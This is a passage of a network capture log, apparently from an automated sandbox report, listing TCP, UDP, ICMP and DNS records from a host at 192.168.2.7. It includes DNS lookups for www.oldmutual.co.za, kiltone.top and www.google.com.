                                                                                                                                                                  Dec 22, 2024 12:15:40.151125908 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.151181936 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.158642054 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.158663034 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.158705950 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.158718109 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.158773899 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.158791065 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.160571098 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.264950037 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.265001059 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.265054941 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.265074968 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.265100956 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.265119076 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.288522959 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.288569927 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.288616896 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.288634062 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.288664103 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.288697958 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.293580055 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.293627977 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.293652058 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.293664932 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.293699980 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.293723106 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.299853086 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.299926996 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.299954891 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.299968004 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.300002098 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.300019979 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.305991888 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.306065083 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.306075096 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.306097984 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.306127071 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.306145906 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.312086105 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.312139988 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.312166929 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.312179089 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.312205076 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.312242985 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.317488909 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.317538977 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.317589998 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.317600012 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.317643881 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.317657948 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.332159042 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.332207918 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.332230091 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.332247019 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.332277060 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.332305908 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.411776066 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.411833048 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.411889076 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.411910057 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.411942959 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.411964893 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.461319923 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.461344957 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.461420059 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.461440086 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.461467981 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.461484909 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.485393047 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.485440016 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.485488892 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.485507011 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.485532045 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.485589981 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.491499901 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.491544008 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.491586924 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.491599083 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.491627932 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.491647959 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.497757912 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.497807980 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.497848988 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.497859001 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.497889996 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.497917891 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.503931999 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.503962994 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.504010916 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.504024029 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.504056931 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.504075050 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.509372950 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.509417057 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.509462118 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.509471893 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.509512901 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.509536028 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.515350103 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.515393972 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.515427113 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.515439034 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.515471935 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.515487909 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.600495100 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.600553989 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.600613117 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.600632906 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.600660086 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.601597071 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.654578924 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.654603958 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.654712915 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.654730082 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.654963970 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.678616047 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.678663015 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.678719044 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.678729057 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.678775072 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.678796053 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.684405088 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.684453964 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.684489965 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.684497118 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.684546947 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.684554100 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.689918041 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.689963102 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.689992905 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.690000057 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.690049887 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.690064907 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.696146011 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.696192026 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.696224928 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.696238041 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.696269035 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.696289062 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.702250957 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.702295065 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.702337980 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.702347994 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.702548027 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.702548027 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.708019018 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.708064079 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.708105087 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.708115101 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.708148956 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.708170891 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.734668970 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.792766094 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.792817116 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.792876005 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.792891979 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.792926073 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.792948961 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.846453905 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.846487045 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.846541882 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.846556902 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.846587896 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.846596956 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.870755911 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.870804071 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.870817900 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.870839119 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.870858908 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.870876074 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.876816034 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.876868963 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.876897097 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.876907110 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.876951933 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.876966953 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.882205963 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.882251024 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.882277012 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.882285118 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.882322073 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.882335901 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.888374090 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.888416052 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.888448000 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.888454914 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.888484001 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.888501883 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.894515038 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.894566059 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.894587040 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.894593954 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.894664049 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.894690037 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.900295973 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.900338888 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.900374889 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.900382042 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.900427103 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.900446892 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.977363110 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.985635042 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.985686064 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.985712051 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.985724926 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.985759020 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:40.985784054 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:41.039025068 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:41.039092064 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:41.039120913 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:41.039150000 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:41.039163113 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:41.039190054 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:41.058000088 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:41.058049917 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:41.058067083 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:41.058105946 CET4434975645.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:41.058147907 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:41.085359097 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:41.207009077 CET49756443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:50.413728952 CET49700443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:50.415630102 CET49788443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:50.415725946 CET44349788104.98.116.138192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:50.415940046 CET49788443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:50.417711973 CET49788443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:50.417728901 CET44349788104.98.116.138192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:50.533302069 CET44349700104.98.116.138192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:55.021564960 CET49788443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:16:24.661983967 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:24.662036896 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:24.662101984 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:24.710771084 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:24.710810900 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:26.406946898 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:26.518857002 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:26.589270115 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:26.589304924 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:26.590770006 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:26.608452082 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:26.608670950 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:26.722004890 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:36.124612093 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:36.124690056 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:36.124756098 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:38.407234907 CET49868443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:16:38.407253981 CET44349868172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:17:24.722393990 CET49995443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:17:24.722441912 CET44349995172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:17:24.722553968 CET49995443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:17:24.722933054 CET49995443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:17:24.722942114 CET44349995172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:17:26.414374113 CET44349995172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:17:26.455738068 CET49995443192.168.2.7172.217.19.228
                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                  Dec 22, 2024 12:15:17.939754963 CET123123192.168.2.740.81.94.65
                                                                                                                                                                  Dec 22, 2024 12:15:19.285475016 CET12312340.81.94.65192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:20.114268064 CET5236553192.168.2.71.1.1.1
                                                                                                                                                                  Dec 22, 2024 12:15:20.114598989 CET6124553192.168.2.71.1.1.1
                                                                                                                                                                  Dec 22, 2024 12:15:20.252113104 CET53523651.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:20.252870083 CET53612451.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:20.253051043 CET53563441.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:20.281060934 CET53603431.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:21.119914055 CET5744653192.168.2.71.1.1.1
                                                                                                                                                                  Dec 22, 2024 12:15:21.256639957 CET53574461.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.299411058 CET53558871.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.603751898 CET5988653192.168.2.71.1.1.1
                                                                                                                                                                  Dec 22, 2024 12:15:24.604059935 CET6030253192.168.2.71.1.1.1
                                                                                                                                                                  Dec 22, 2024 12:15:24.740770102 CET53603021.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.741002083 CET53598861.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:40.595520973 CET53552571.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:59.566278934 CET53637471.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:12.037806988 CET138138192.168.2.7192.168.2.255
                                                                                                                                                                  Dec 22, 2024 12:16:19.951562881 CET53571601.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:23.062798977 CET53559291.1.1.1192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:16:53.154552937 CET53495091.1.1.1192.168.2.7
                                                                                                                                                                  TimestampSource IPDest IPChecksumCodeType
                                                                                                                                                                  Dec 22, 2024 12:16:16.092493057 CET192.168.2.71.1.1.14d5aEcho
                                                                                                                                                                  Dec 22, 2024 12:16:16.228768110 CET1.1.1.1192.168.2.7555aEcho Reply
                                                                                                                                                                  Dec 22, 2024 12:16:31.148581028 CET192.168.2.71.1.1.14d59Echo
                                                                                                                                                                  Dec 22, 2024 12:16:31.284692049 CET1.1.1.1192.168.2.75559Echo Reply
                                                                                                                                                                  Dec 22, 2024 12:16:36.354727030 CET192.168.2.71.1.1.14d58Echo
                                                                                                                                                                  Dec 22, 2024 12:16:36.491983891 CET1.1.1.1192.168.2.75558Echo Reply
                                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                  Dec 22, 2024 12:15:20.114268064 CET192.168.2.71.1.1.10xf0dcStandard query (0)www.oldmutual.co.zaA (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:20.114598989 CET192.168.2.71.1.1.10x556fStandard query (0)www.oldmutual.co.za65IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:21.119914055 CET192.168.2.71.1.1.10xc288Standard query (0)kiltone.topA (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:24.603751898 CET192.168.2.71.1.1.10x6fc7Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:24.604059935 CET192.168.2.71.1.1.10x95d5Standard query (0)www.google.com65IN (0x0001)false
                                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                  Dec 22, 2024 12:15:20.252113104 CET1.1.1.1192.168.2.70xf0dcNo error (0)www.oldmutual.co.zad12y248af9ueom.cloudfront.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                  Dec 22, 2024 12:15:20.252113104 CET1.1.1.1192.168.2.70xf0dcNo error (0)d12y248af9ueom.cloudfront.net18.161.69.16A (IP address)IN (0x0001)false
